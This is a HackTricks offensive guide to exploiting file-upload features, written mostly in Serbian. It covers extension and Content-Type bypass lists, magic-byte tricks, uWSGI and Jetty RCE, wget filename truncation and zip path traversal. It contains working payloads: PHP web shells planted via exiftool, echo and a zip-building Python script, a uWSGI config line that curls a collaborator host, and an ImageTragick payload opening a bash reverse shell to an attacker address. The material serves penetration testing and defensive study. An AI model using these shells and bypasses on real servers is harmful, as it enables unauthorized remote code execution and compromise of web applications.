File Upload

Reading time: 17 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

File Upload General Methodology

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Ako se primenjuju, proverite prethodne ekstenzije. Takođe ih testirajte koristeći neka velika slova: pHp, .pHP5, .PhAr ...
  2. Proverite dodavanje važeće ekstenzije pre ekstenzije izvršenja (koristite prethodne ekstenzije takođe):
  • file.png.php
  • file.png.Php5
  1. Pokušajte dodati specijalne karaktere na kraju. Možete koristiti Burp da bruteforce sve ascii i Unicode karaktere. (Napomena: takođe možete pokušati da koristite prethodno pomenute ekstenzije)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Pokušajte da zaobiđete zaštite prevarom parsera ekstenzija na serverskoj strani koristeći tehnike kao što su dupliranje ekstenzije ili dodavanje junk podataka (null bajtova) između ekstenzija. Takođe možete koristiti prethodne ekstenzije da pripremite bolji payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Dodajte još jedan sloj ekstenzija na prethodnu proveru:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Pokušajte da stavite exec ekstenziju pre važeće ekstenzije i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom _.php**_**, ali ne nužno završava u .php će izvršiti kod):
  • ex: file.php.png
  1. Koristeći NTFS alternativni podatkovni tok (ADS) u Windows-u. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, prazna datoteka sa zabranjenom ekstenzijom će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti kasnije uređena koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “::$data” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
  2. Pokušajte da prekinete ograničenja imena datoteke. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Ako se kompresija dodaje na vašu sliku, na primer koristeći neke standardne PHP biblioteke kao što je PHP-GD, prethodne tehnike neće biti korisne. Međutim, možete koristiti PLTE chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Web stranica takođe može menjati veličinu slike, koristeći na primer PHP-GD funkcije imagecopyresized ili imagecopyresampled. Međutim, možete koristiti IDAT chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Još jedna tehnika za pravljenje payload-a koji preživljava promenu veličine slike, koristeći PHP-GD funkciju thumbnailImage. Međutim, možete koristiti tEXt chunk tehniku definisanu ovde da umetnete neki tekst koji će preživeti kompresiju.
  • Github sa kodom

Other Tricks to check

  • Pronađite ranjivost da preimenujete već otpremeljenu datoteku (da promenite ekstenziju).
  • Pronađite Local File Inclusion ranjivost da izvršite backdoor.
  • Moguće otkrivanje informacija:
  1. Otpremite više puta (i u isto vreme) istu datoteku sa istim imenom
  2. Otpremite datoteku sa imenu datoteke ili foldera koji već postoji
  3. Otpremite datoteku sa “.”, “..”, ili “…” kao njenim imenom. Na primer, u Apache-u u Windows-u, ako aplikacija čuva otpremeljene datoteke u “/www/uploads/” direktorijumu, ime “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
  4. Otpremite datoteku koja se možda neće lako obrisati kao “…:.jpg” u NTFS. (Windows)
  5. Otpremite datoteku u Windows-u sa nevažećim karakterima kao što su |<>*?” u njenom imenu. (Windows)
  6. Otpremite datoteku u Windows-u koristeći rezervisana (zabranjena) imena kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
  • Takođe pokušajte da otpremite izvršnu (.exe) ili .html (manje sumnjivu) datoteku koja će izvršiti kod kada je slučajno otvori žrtva.

Special extension tricks

Ako pokušavate da otpremite datoteke na PHP server, pogledajte .htaccess trik za izvršavanje koda.
Ako pokušavate da otpremite datoteke na ASP server, pogledajte .config trik za izvršavanje koda.

Datoteke .phar su poput .jar za java, ali za php, i mogu se koristiti kao php datoteka (izvršavajući je sa php, ili uključujući je unutar skripte...)

Ekstenzija .inc se ponekad koristi za php datoteke koje se koriste samo za uvoz datoteka, tako da je u nekom trenutku neko mogao dozvoliti da se ova ekstenzija izvrši.

Jetty RCE

Ako možete otpremiti XML datoteku na Jetty server, možete dobiti RCE jer se nove *.xml i *.war automatski obrađuju. Dakle, kao što je pomenuto na sledećoj slici, otpremite XML datoteku u $JETTY_BASE/webapps/ i očekujte shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: uWSGI RCE Exploitation.

Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se iskoristiti na uWSGI serverima ako imate mogućnost da modifikujete .ini konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao @(filename), je dizajniran da uključuje sadržaj datoteke. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje datoteka kada se obradi .ini konfiguraciona datoteka.

Razmotrite sledeći primer štetne uwsgi.ini datoteke, prikazujući razne sheme:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.

Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.

wget File Upload/SSRF Trick

U nekim slučajevima možete primetiti da server koristi wget za preuzimanje datoteka i možete navesti URL. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, ova provera se može zaobići.
Maksimalna dužina imena datoteke u linux-u je 255, međutim, wget skraćuje imena datoteka na 236 karaktera. Možete preuzeti datoteku pod nazivom "A"*232+".php"+".gif", ovo ime datoteke će zaobići proveru (jer je u ovom primeru ".gif" važeća ekstenzija) ali će wget preimenovati datoteku u "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Napomena da druga opcija koju možda razmišljate da zaobiđete ovu proveru je da napravite da HTTP server preusmeri na drugu datoteku, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo neće raditi osim ako se wget koristi sa parametrom --trust-server-names jer wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u.

Alati

  • Upload Bypass je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za upload datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.

Od upload-a datoteka do drugih ranjivosti

Evo top 10 liste stvari koje možete postići upload-ovanjem (iz ovde):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE putem LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Ekstenzija

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magični Header Bajtovi

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove datoteka.

Zip/Tar datoteka automatski dekompresovana upload

Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:

Upload-ujte link koji sadrži soft linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

Neželjeno kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.

Automatizovani exploit za kreiranje takvih fajlova je dostupan na evilarc on GitHub. Alat se može koristiti kao što je prikazano:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Pored toga, symlink trik sa evilarc je opcija. Ako je cilj ciljati datoteku kao što je /flag.txt, treba kreirati symlink ka toj datoteci u vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.

Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Zloupotreba kompresije za file spraying

Za više detalja proverite originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Kreiranje PHP Shell-a: PHP kod je napisan da izvršava komande prosleđene kroz $_REQUEST promenljivu.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying i kreiranje komprimovanih fajlova: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži te fajlove.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Izmena pomoću Hex Editora ili vi: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" za prelazak između direktorijuma.
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost (ImageMagick , 7.0.1-1) (formirajte exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ugrađivanje PHP Shell-a u PNG

Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije imagecopyresized i imagecopyresampled iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.

Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: "Encoding Web Shells in PNG IDAT chunks". Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.

Više informacija na: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Poliglot datoteke

Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.

Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje skeniraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.

Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.

Više informacija na: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Učitajte validne JSON-ove kao da su PDF

Kako izbeći detekciju tipa datoteke upload-ovanjem validne JSON datoteke čak i ako nije dozvoljena, pretvarajući je u PDF datoteku (tehnike iz ovog blog posta):

  • mmmagic biblioteka: Sve dok su %PDF magični bajtovi u prvih 1024 bajta, to je validno (uzmite primer iz posta)
  • pdflib biblioteka: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je to PDF (uzmite primer iz posta)
  • file binarni: Može pročitati do 1048576 bajta iz datoteke. Samo kreirajte JSON veći od toga kako ne bi mogao da analizira sadržaj kao JSON, a zatim unutar JSON-a stavite početni deo pravog PDF-a i misliće da je to PDF

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks